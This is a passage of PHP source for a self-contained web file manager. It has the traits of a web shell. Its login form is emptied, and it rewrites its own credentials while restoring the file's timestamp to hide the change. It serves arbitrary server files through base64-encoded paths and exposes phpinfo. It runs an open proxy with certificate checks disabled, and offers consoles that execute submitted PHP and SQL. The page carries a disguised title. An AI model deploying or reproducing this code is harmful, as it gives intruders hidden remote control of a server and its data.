		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>-("png")-</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
sd<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
